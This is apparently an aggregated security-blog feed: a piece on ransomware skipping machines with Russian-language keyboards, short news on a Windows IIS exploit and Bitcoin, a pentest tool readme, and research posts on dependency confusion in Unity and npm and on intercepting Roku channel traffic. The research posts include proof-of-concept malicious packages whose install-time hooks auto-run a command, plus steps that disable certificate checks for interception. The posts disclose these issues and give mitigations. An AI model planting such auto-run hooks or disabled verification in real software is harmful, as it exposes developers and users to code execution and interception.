In a Twitter discussion last week on ransomware attacks, KrebsOnSecurity noted that virtually all ransomware strains have a built-in failsafe designed to cover the backsides of the malware purveyors: They simply will not install on a Microsoft Windows computer that already has one of many types of virtual keyboards installed — such as Russian or Ukrainian. So many readers had questions in response to the tweet that I thought it was worth a blog post exploring this one weird cyber defense trick.

The Commonwealth of Independent States (CIS) more or less matches the exclusion list on an awful lot of malware coming out of Eastern Europe.

The Twitter thread came up in a discussion on the ransomware attack against Colonial Pipeline, which earlier this month shut down 5,500 miles of fuel pipe for nearly a week, causing fuel station supply shortages throughout the country and driving up prices. The FBI said the attack was the work of DarkSide, a new-ish ransomware-as-a-service offering that says it targets only large corporations.

DarkSide and other Russian-language affiliate moneymaking programs have long barred their criminal associates from installing malicious software on computers in a host of Eastern European countries, including Ukraine and Russia. This prohibition dates back to the earliest days of organized cybercrime, and it is intended to minimize scrutiny and interference from local authorities.

In Russia, for example, authorities there generally will not initiate a cybercrime investigation against one of their own unless a company or individual within the country’s borders files an official complaint as a victim. Ensuring that no affiliates can produce victims in their own countries is the easiest way for these criminals to stay off the radar of domestic law enforcement agencies.

Possibly feeling the heat from being referenced in President Biden’s Executive Order on cybersecurity this past week, the DarkSide group sought to distance itself from their attack against Colonial Pipeline. In a message posted to its victim shaming blog, DarkSide tried to say it was “apolitical” and that it didn’t wish to participate in geopolitics.

“Our goal is to make money, and not creating problems for society,” the DarkSide criminals wrote last week. “From today we introduce moderation and check each company that our partners want to encrypt to avoid social consequences in the future.”

But here’s the thing: Digital extortion gangs like DarkSide take great care to make their entire platforms geopolitical, because their malware is engineered to work only in certain parts of the world.

DarkSide, like a great many other malware strains, has a hard-coded do-not-install list of countries which are the principal members of the Commonwealth of Independent States (CIS) — former Soviet satellites that all currently have favorable relations with the Kremlin, including Azerbaijan, Belarus, Georgia, Romania, Turkmenistan, Ukraine and Uzbekistan. The full exclusion list in DarkSide (published by Cybereason) is below:

Image: Cybereason.

Simply put, countless malware strains will check for the presence of one of these languages on the system, and if they’re detected the malware will exit and fail to install.

[Side note. Many security experts have pointed to connections between the DarkSide and REvil (a.k.a. “Sodinokibi”) ransomware groups. REvil was previously known as GandCrab, and one of the many things GandCrab had in common with REvil was that both programs barred affiliates from infecting victims in Syria. As we can see from the chart above, Syria is also exempted from infections by DarkSide ransomware. And DarkSide itself proved their connection to REvil this past week when it announced it was closing up shop after its servers and bitcoin funds were seized.]

CAVEAT EMPTOR

Will installing one of these languages keep your Windows computer safe from all malware? Absolutely not. There is plenty of malware that doesn’t care where in the world you are. And there is no substitute for adopting a defense-in-depth posture, and avoiding risky behaviors online.

But is there really a downside to taking this simple, free, prophylactic approach? None that I can see, other than perhaps a sinking feeling of capitulation. The worst that could happen is that you accidentally toggle the language settings and all your menu options are in Russian.

If this happens (and the first time it does the experience may be a bit jarring) hit the Windows key and the space bar at the same time; if you have more than one language installed you will see the ability to quickly toggle from one to the other. The little box that pops up when one hits that keyboard combo looks like this:

Cybercriminals are notoriously responsive to defenses which cut into their profitability, so why wouldn’t the bad guys just change things up and start ignoring the language check? Well, they certainly can and maybe even will do that (a recent version of DarkSide analyzed by Mandiant did not perform the system language check).

But doing so increases the risk to their personal safety and fortunes by some non-trivial amount, said Allison Nixon, chief research officer at New York City-based cyber investigations firm Unit221B.

Nixon said because of Russia’s unique legal culture, criminal hackers in that country employ these checks to ensure they are only attacking victims outside of the country.

“This is for their legal protection,” Nixon said. “Installing a Cyrillic keyboard, or changing a specific registry entry to say ‘RU’, and so forth, might be enough to convince malware that you are Russian and off limits. This can technically be used as a ‘vaccine’ against Russian malware.”

Nixon said if enough people do this in large numbers, it may in the short term protect some people, but more importantly in the long term it forces Russian hackers to make a choice: Risk losing legal protections, or risk losing income.

“Essentially, Russian hackers will end up facing the same difficulty that defenders in the West must face — the fact that it is very difficult to tell the difference between a domestic machine and a foreign machine masquerading as a domestic one,” she said.

KrebsOnSecurity asked Nixon’s colleague at Unit221B — founder Lance James — what he thought about the efficacy of another anti-malware approach suggested by Twitter followers who chimed in on last week’s discussion: Adding entries to the Windows registry that specify the system is running as a virtual machine (VM). In a bid to stymie analysis by antivirus and security firms, some malware authors have traditionally configured their malware to quit installing if it detects it is running in a virtual environment.

But James said this prohibition is no longer quite so common, particularly since so many organizations have transitioned to virtual environments for everyday use.

“Being a virtual machine doesn’t stop malware like it used to,” James said. “In fact, a lot of the ransomware we’re seeing now is running on VMs.”

But James says he loves the idea of everyone adding a language from the CIS country list so much he’s produced his own clickable two-line Windows batch script that adds a Russian language reference in the specific Windows registry keys that are checked by malware. The script effectively allows one’s Windows PC to look like it has a Russian keyboard installed without actually downloading the added script libraries from Microsoft.

To install a different keyboard language on a Windows 10 computer the old fashioned way, hit the Windows key and X at the same time, then select Settings, and then select “Time and Language.” Select Language, and then scroll down and you should see an option to install another character set. Pick one, and the language should be installed the next time you reboot. Again, if for some reason you need to toggle between languages, Windows+Spacebar is your friend.

A security researcher has published a working proof-of-concept exploit code for a wormable Windows IIS server vulnerability tracked as CVE-2021-31166.

Microsoft Patch Tuesday for May 2021 security updates addressed 55 vulnerabilities in Microsoft including a critical HTTP Protocol Stack Remote Code Execution vulnerability tracked as CVE-2021-31166. The flaw could be exploited by an unauthenticated attacker by sending a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets.

This stack is used by the Windows built-in IIS server, which means that it could be easily exploited if the server is enabled. The flaw is wormable and affects different versions of Windows 10, Windows Server 2004 and Windows Server 20H2.

The security researcher Axel Souchet has published over the weekend a proof-of-concept exploit code for the wormable flaw that impacted Windows IIS.

The PoC exploit code allows to crash an unpatched Windows system running an IIS server, it does not implement worming capabilities.

Anyway attackers could start triggering the vulnerability in the wild, the PoC code could be improved to be actively exploited.

The public availability of the PoC exploit code is another good reason to apply Microsoft Patch Tuesday for May 2021 security updates as soon as possible.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, RCE)

The post Expert released PoC exploit code for Windows CVE-2021-31166 bug appeared first on Security Affairs.

Eyeballer is meant for large-scope network penetration tests where you need to find "interesting" targets from a huge set of web-based hosts. Go ahead and use your favorite screenshotting tool like normal (EyeWitness or GoWitness) and then run them through Eyeballer to tell you what's likely to contain vulnerabilities, and what isn't.

Example Labels

Parked Domains

sudo pip3 install -r requirements.txt

sudo pip3 install -r requirements-gpu.txt

eyeballer.py --weights YOUR_WEIGHTS.h5 predict YOUR_FILE.png

eyeballer.py --weights YOUR_WEIGHTS.h5 predict PATH_TO/YOUR_FILES/

eyeballer.py train

eyeballer.py --weights YOUR_WEIGHTS.h5 evaluate

The price of Bitcoin falls after Elon Musk declared that its company, Tesla, may have sold holdings of the cryptocurrency

We have a long-debated about the possibility that the Bitcoin price could be influenced by threat actors through 51% attacks, but recent events demonstrate that it could be easier to manipulate its value.

A simple Tweet from an influencer could cause the fall of the price of a cryptocurrency, opening the door for any type of financial speculation.

Do you trust a cryptocurrency system that is influenced by the declaration of a single individual?

Tesla CEO Elon Musk published a Twitter on Sunday to confirm that his company sold or is going to sell the rest of its bitcoin holdings and the news that had a dramatic impact on the Bitcoin value.

Bitcoin’s price plummeted after Musk’s posts and is yet to recover, this implies that the price of the most popular cryptocurrency depends on the account of a single man. If someone is able to hack his account can make a lot of money influencing the prices of cryptocurrencies.

Media pointed out that the alleged sale comes just days after Musk declared that Tesla planned to hold rather than sell the Bitcoin it already has.

“A potential sale comes just days after Musk said the company planned to hold rather than sell the bitcoin it already has and intended to use it for transactions as soon as mining transitions to more sustainable energy. Tesla did not immediately respond to a request for comment.” reported CNBC.

Tesla representatives have yet to provide any comment on the event.

In an SEC filing in February, Tesla announced that it bought $1.5 billion worth of bitcoin, then it earned $101 million from sales of bitcoin during the quarter.

Even if Musk has always sustained cryptocurrencies, last week his company “suspended vehicle purchases using bitcoin.” The move was the result of concern over “rapidly increasing use of fossil fuels for bitcoin mining,” and also in that case it had an impact on the price of bitcoin that dropped about 5% in the first minutes after the announcement.

Musk also influenced the price of another cryptocurrency, dogecoin, with the announcement that SpaceX would accept dogecoin as payment to launch “DOGE-1 mission to the Moon.” The announcement pumped up the price of the coin.

Is this really good for cryptocurrencies? Or we are faced with a new real threat to their credibility.

What will be the reason for the next bubble? I focus on sustainability and respect for the environment for cryptocurrencies.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, Musk)

The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?

First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.

Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:

Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.

Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry? Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!

Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.

Creating a normal private package

First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files

includesec.jpeg
includesec.jpeg.meta
package.json

includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "IncludeSec logo",
  "version": "1.0.0",
  "unity": "2018.3",
  "description": "IncludeSec logo",
  "keywords": [ ],
  "dependencies": {}
}

I published it to my local Verdaccio registry like this:

NormalPackage$ npm publish --registry http://127.0.0.1:4873
npm notice
npm notice   [email protected]
npm notice === Tarball Contents ===
npm notice 20.5kB includesec.jpeg
npm notice 212B   package.json
npm notice 2.1kB  includesec.jpeg.meta
npm notice === Tarball Details ===
npm notice name:          com.includesecurity.unitypackage
npm notice version:       1.0.0
npm notice package size:  19.8 kB
npm notice unpacked size: 22.8 kB
npm notice shasum:        db99c51277d43ac30c6e5bbf166a6ef16815cf70
npm notice integrity:     sha512-OeNVhBgi5UxEU[...]sm+TlgkitJUDQ==
npm notice total files:   3
npm notice
+ [email protected]

Installing in Unity

The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:

{
    "scopedRegistries": [{
        "name": "My internal registry",
        "url": "http://127.0.0.1:4873",
        "scopes": [
          "com.includesecurity"
        ]
    }],
      "dependencies": {
          ...
      }
}

The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:

Creating a malicious package

The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:

com.includesecurity.unitypackage.asmdef
com.includesecurity.unitypackage.asmdef.meta
Editor/
Editor/com.includesecurity.unitypackage.editor.asmref
Editor/com.includesecurity.unitypackage.editor.asmref.meta
Editor/MaliciousPackage.cs
Editor/MaliciousPackage.cs.meta
Editor.meta
package.json
package.json.meta

Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:

using UnityEngine;
using UnityEditor;

[InitializeOnLoad]
public class MaliciousPackage {
    static MaliciousPackage()
    {
        System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
    }
}

I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.

Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "Testing",
  "version": "2.0.1",
  "unity": "2018.3",
  "description": "For testing purposes -- do not use",
  "keywords": [ ],
  "dependencies": {}
}

Results

I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:

Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?

It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).

Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.

Mitigation

How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:

1. Not pull from the public NPM registry at all, or…
2. If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry

The post Dependency Confusion Vulnerabilities in Unity Game Development appeared first on Include Security Research Blog.

We were recently asked by one of our clients (our day job at IncludeSec is hacking software of all types) to take a look at their Roku channel. For those unfamiliar Roku calls apps for their platform “channels”. We haven’t seen too many Roku channel security reviews and neither has the industry as there isn’t much public information about setting up an environment to conduct a security assessment of a Roku channel.

The purpose of this post was to be a practical guide rather than present any new 0day, but stay tuned to the end of the post for application security tips for Roku channel developers. Additionally we did run this post by the Roku security team and we thank them for taking the time to review our preview.

Roku channels are scripted in Brightscript, a scripting language created specifically for media heavy Roku channels that is very similar syntax wise to our old 90s friend Visual Basic. A sideloaded Roku channel is just a zip file containing primarily Brightscript code, XML documents describing application components, and media assets. These channels operate within a Sandbox similar to Android apps. Due to the architecture of a sandboxed custom scripting language, Roku channels’ access to Roku’s Linux-based operating system, and to other channels on the same Roku device is limited. Channels are encrypted and signed by the developer (on Roku hardware) and distributed through Roku’s infrastructure, so users generally don’t have access to channel packages unlike APKs on Android.

The Brightscript language as well as channel development are well documented by Roku. Roku hardware devices can be put in a developer mode by entering a cheat code sequence which enables sideloading as well as useful features such as a debugger and remote control over the network. You’ll need these features as they’ll be very useful when exploring attacks against Roku channels.

You’ll also want to use the Eclipse Brightscript plugin as it is very helpful when editing or auditing Brightscript code. If you have access to a channel’s source code you can easily import it into Eclipse by creating a new Eclipse project from the existing code, and use the plugin’s project export dialog to re-package the channel and install it to a local Roku device in development mode.

Getting Burp to Work With Brightscript

As with most embedded or mobile type of client applications one of the first things we do when testing a new platform that is interacting with the web is to get HTTP requests running through Burp Suite. It is incredibly helpful in debugging and looking for vulnerabilities to be able to intercept, inspect, modify, and replay HTTP requests to a backend API. Getting a Roku channel working through Burp involves redirecting traffic destined to the backed API to Burp instead, and disabling certificate checking on the client. Note that Roku does support client certificates but this discussion doesn’t involve bypassing those, we’ll focus on bypassing client-side checks of server certificates for channels where the source code is available which is the situation we have with IncludeSec’s clients.

Brightscript code that makes HTTP requests uses Brightscript’s roUrlTransfer object. For example, some code to GET example.com might look like this:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.SetUrl("https://example.com/")<br>s = urlTransfer.GetToString()

To setup an easy intercept environment I like to use the create_ap script from https://github.com/lakinduakash/linux-wifi-hotspot to quickly and easily configure hostapd, dnsmasq, and iptables to set up a NAT-ed test network hosted by a Linux machine. There are many ways to perform the man-in-the-middle to redirect requests to Burp, but I’m using a custom hosts file in the dnsmasq configuration to redirect connections to the domains I’m interested in (in this case example.com) to my local machine, and an iptables rule to redirect incoming connections on port 443 to Burp’s listening port.


Here’s starting the WIFI AP:

# cat /tmp/test-hosts<br>192.168.12.1 example.com
# create_ap -e /tmp/test-hosts $AP_NETWORK_INTERFACE $INTERNET_NETWORK_INTERFACE $SSID $PASSWORD

And here’s the iptables rule:

# iptables -t nat -A PREROUTING -p tcp --src 192.168.12.0/24 --dst 192.168.12.1 --dport 443 -j REDIRECT --to-port 8085

In Burp’s Proxy -> Options tab, I’ll add the proxy listener listening on the test network ip on port 8085, configured for invisible proxying mode:

Next, we need to bypass the HTTPS certificate check that will cause the connection to fail. The easiest way to do this is to set EnablePeerVerification to false:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.EnablePeerVerification(false)
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

Then, re-build the channel and sideload it on to a Roku device in developer mode. Alternatively we can export Burp’s CA certificate, convert it to PEM format, and include that in the modified channel.

This converts the cert from DER to PEM format:

$ openssl x509 -inform der -in burp-cert.der -out burp-cert.pem

The burp-cert.pem file needs to be added to the channel zip file, and the code below changes the certificates file from the internal Roku file to the burp pem file:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("pkg:/burp-cert.pem")
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

It’s easy to add the certificate file to the package when exporting and sideloading using the BrightScript Eclipse plugin:

Now the request can be proxied and shows up in Burp’s history:

With that you’re off to the races inspecting and modifying traffic of your Roku channel assessment subject. All of your usual fat client/android app techniques for intercepting and manipulating traffic applies. You can combine that with code review of the BrightScript itself to hunt for interesting security problems and don’t discount privacy problems like unencrypted transport or over collection of data.

For BrightScript developers who may be worried about people using these types of techniques here are our top five tips for coding secure and privacy conscious channels:

1. Only deploy what you need in a channel, don’t deploy debug/test code.
2. Consider that confidentiality of the file contents of your deployed channel may not be a given. Don’t hard code secret URLs, tokens, or other security relevant info in your channel or otherwise an attacker will not have access to the client-side code.
3. Don’t gather/store/send more personal information than is absolutely necessary and expected by your users.
4. Encrypt all of your network connections to/from your channel and verify certificates. Nothing should ever be in plain text HTTP.
5. Watch out for 3rd parties. User tracking and other personal data sent to 3rd parties can be come compliance and legal nightmares, avoid this and make your business aware of the possible ramifications if they chose to use 3rd parties for tracking.

Hopefully this post has been useful as a quick start for those interested in exploring the security of Roku channels and Brightscript code. Compared to other similar platforms, Roku is relatively locked down with it’s own scripting language and sandboxing. They also don’t have much user controllable input or a notable client-side attack surface area, but channels on Roku and apps on other platforms generally have to connect to backend web services, so running those connections through Burp is a good starting point to look for security and privacy concerns.

Further research into the Roku platform itself is also on the horizon…perhaps there will be a Part 2 of this post?

The post New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript appeared first on Include Security Research Blog.

This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.

We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.

Here’s a quick summary for those that want to skip the technical details:

• Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)

• As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks

• To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.

• If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:

C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
 [!] includesec-dependency-confusion

Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.

Dependency Confusion in npm

In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package. 

npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack? 

The answer is: npm itself isn’t, but a private package registry server might be!

Case Study: Verdaccio

Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it. 

To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:

{
    "name": "includesec-dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Below is the package.json file for a basic application that depends on the vulnerable package:

{
    "name": "vuln-app",
    "version": "1.0.0",
    "description": "A small app to demonstrate dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT",
    "dependencies": {
      "express": "^4.17.1",
      "includesec-dependency-confusion": "^1.0.0"
    }
  }

The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.

Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare

{"error":"Not found"}

This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:

{
    "name": "includesec-dependency-confusion",
    "version": "1.1.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "preinstall": "c:\\windows\\system32\\calc.exe"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close

…

  "time":{
     "created":"2021-02-16T14:50:23.935Z",
     "1.1.0":"2021-02-16T14:50:24.067Z",
     "modified":"2021-02-16T14:50:27.035Z"
  },
  "maintainers":[
     {
        "name":"njf-include",
        "email":"[email protected]"
     }
  ],
  "description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
  "author":{
     "name":"Nick Fox"
  },
  "license":"MIT",
  "readme":"ERROR: No README data found!",
  "readmeFilename":""
}

The following screenshot shows the malicious payload being executed on the client:

As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions,) is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:

https://github.com/verdaccio/verdaccio/blob/master/conf/default.yaml#L62

packages:

    ...
    
      '**':
        # allow all users (including non-authenticated users) to read and
        # publish all packages
        #
        # you can specify usernames/groupnames (depending on your auth plugin)
        # and three keywords: "$all", "$anonymous", "$authenticated"
        access: $all
    
        # allow all known users to publish/publish packages
        # (anyone can register by default, remember?)
        publish: $authenticated
        unpublish: $authenticated
    
        # if package is not available locally, proxy requests to 'npmjs' registry
        proxy: npmjs

The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).

Mitigation on Verdaccio

So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:

https://verdaccio.org/docs/en/packages#blocking-proxying-a-set-of-specific-packages

packages:
    'jquery':
      access: $all
      publish: $all
    'my-company-*':
      access: $all
      publish: $authenticated
    '@my-local-scope/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:

packages:
    'includesec-dependency-confusion':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
  
  ...
  
    '**':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
      proxy: npmjs

After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:

GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873

HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267

{
  "name": "includesec-dependency-confusion",
  "versions": {
    "1.0.0": {
      "name": "includesec-dependency-confusion",
      "version": "1.0.0",
      "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
      "main": "index.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1"
      },

     … 

  "dist-tags": {
    "latest": "1.0.0"
  },
  "_rev": "3-dc1db45b944128de",
  "_id": "includesec-dependency-confusion",
  "readme": "ERROR: No README data found!",
  "_attachments": {}
}

Additional Mitigation Steps

This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:

{
    "name": "@includesec/dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.

packages:
    '@includesec/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

See this whitepaper from Microsoft (Secure Your Hybrid Software Supply Chain) for information about other possible mitigations.

Summary

This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.

To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.

Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.

Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!

The post Dependency Confusion: When Are Your npm Packages Vulnerable? appeared first on Include Security Research Blog.

In application assessments you have to do the most effective work you can in the time period defined by the client to maximize the assurance you’re providing. At IncludeSec we’ve done a couple innovative things to improve the overall effectiveness of the work we do, and we’re always on the hunt for more ways to squeeze even more value into our assessments by finding more risks and finding them faster. One topic that we revisit frequently to ensure we’re doing the best we can to maximize efficiency is static analysis tooling (aka SAST.)

